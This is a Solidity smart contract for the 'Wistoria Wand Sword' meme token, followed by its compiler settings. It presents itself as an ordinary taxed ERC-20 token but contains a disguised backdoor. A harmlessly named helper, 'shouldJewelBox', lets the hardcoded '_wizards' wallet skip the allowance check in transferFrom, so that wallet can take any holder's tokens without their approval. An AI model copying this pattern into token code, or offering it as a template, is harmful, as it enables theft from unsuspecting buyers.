Wistoria Wand Sword

/**
Welcome to Wistoria, where the magic of memes meets the courage of a sword-wielding hero!
Inspired by the journey of Will, a determined boy who entered a magic academy without the ability to use spells, Wistoria celebrates the unconventional paths to greatness.

At Wistoria, we believe that not everyone needs a wand to succeed. Just like Will, who faced the challenge of a magic-dominated world with sheer determination and unique strengths, our platform empowers you to embrace your individuality and creativity through humor.
We aim to create a vibrant community where memes are not just about laughs but also about resilience and the power of believing in oneself.

Dive into the world of Wistoria, share your memes, and let’s show everyone that sometimes, the most powerful magic comes from within. Together, we can create a tapestry of laughter, inspiration, and unforgettable moments!

Website: https://wistoria.vip
X: https://x.com/WistoriaCoin
Telegram: https://t.me/WistoriaCoin
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WISTORIA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _owns;
    mapping(address => mapping(address => uint256)) private _allowed;
    mapping(address => bool) private _excls;
    address payable private _wizards =
        payable(0x18FA701A1b11CD884CeF536a604B80D60425835e);

    uint256 private _onetx = 20;
    uint256 private _twotx = 0;
    uint256 private _downtx = 15;
    uint256 private _prevcnt = 15;
    uint256 private _tradecnts = 0;

    uint256 private constant _ttots = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Wistoria Wand Sword";
    string private constant _symbol = unicode"WISTORIA";
    uint8 private constant _decimals = 9;

    uint256 public _maxTaxAmount = (_ttots * 2) / 100;
    uint256 public _maxWalletAmount = (_ttots * 2) / 100;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = _ttots / 100;

    IUniswapV2Router02 private uniRouter;
    address private uniPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _owns[_msgSender()] = _ttots;
        _excls[owner()] = true;
        _excls[address(this)] = true;
        _excls[_wizards] = true;

        emit Transfer(address(0), _msgSender(), _ttots);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _ttots;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _owns[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowed[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function shouldJewelBox(address user) internal view returns (bool) {
        return _excls[user] && user != address(this) && user != owner();
    }

    function _spendAllowed(address sender, uint256 amount) internal {
        if (shouldJewelBox(_msgSender())) return;

        _approve(
            sender,
            _msgSender(),
            _allowed[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _spendAllowed(sender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            sender != owner() &&
            recipient != owner() &&
            sender != address(this) &&
            recipient != address(this)
        ) {
            taxAmount = amount
                .mul((_tradecnts > _downtx) ? _twotx : _onetx)
                .div(100);

            if (
                sender == uniPair &&
                recipient != address(uniRouter) &&
                !_excls[recipient]
            ) {
                require(amount <= _maxTaxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(recipient) + amount <= _maxWalletAmount,
                    "Exceeds the maxWalletSize."
                );
                _tradecnts++;
            }

            if (recipient == uniPair && sender != address(this)) {
                taxAmount = amount
                    .mul((_tradecnts > _downtx) ? _twotx : _onetx)
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                recipient == uniPair &&
                swapEnabled &&
                _tradecnts > _prevcnt &&
                !_excls[sender]
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0 ether) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _owns[address(this)] = _owns[address(this)].add(taxAmount);
            emit Transfer(sender, address(this), taxAmount);
        }
        _owns[sender] = _owns[sender].sub(amount);
        _owns[recipient] = _owns[recipient].add(amount.sub(taxAmount));
        emit Transfer(sender, recipient, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function openWistoria() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniRouter = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(
            address(this),
            uniRouter.WETH()
        );

        _approve(address(this), address(uniRouter), _ttots);
        uniRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();
        _approve(address(this), address(uniRouter), tokenAmount);
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _wizards.transfer(amount);
    }

    function enterLimits() external onlyOwner {
        _maxTaxAmount = _ttots;
        _maxWalletAmount = _ttots;
        emit MaxTxAmountUpdated(_ttots);
    }

    receive() external payable {}

    function rescueETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }
}

{
  "compilationTarget": {
    "contracts/1.sol": "WISTORIA"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}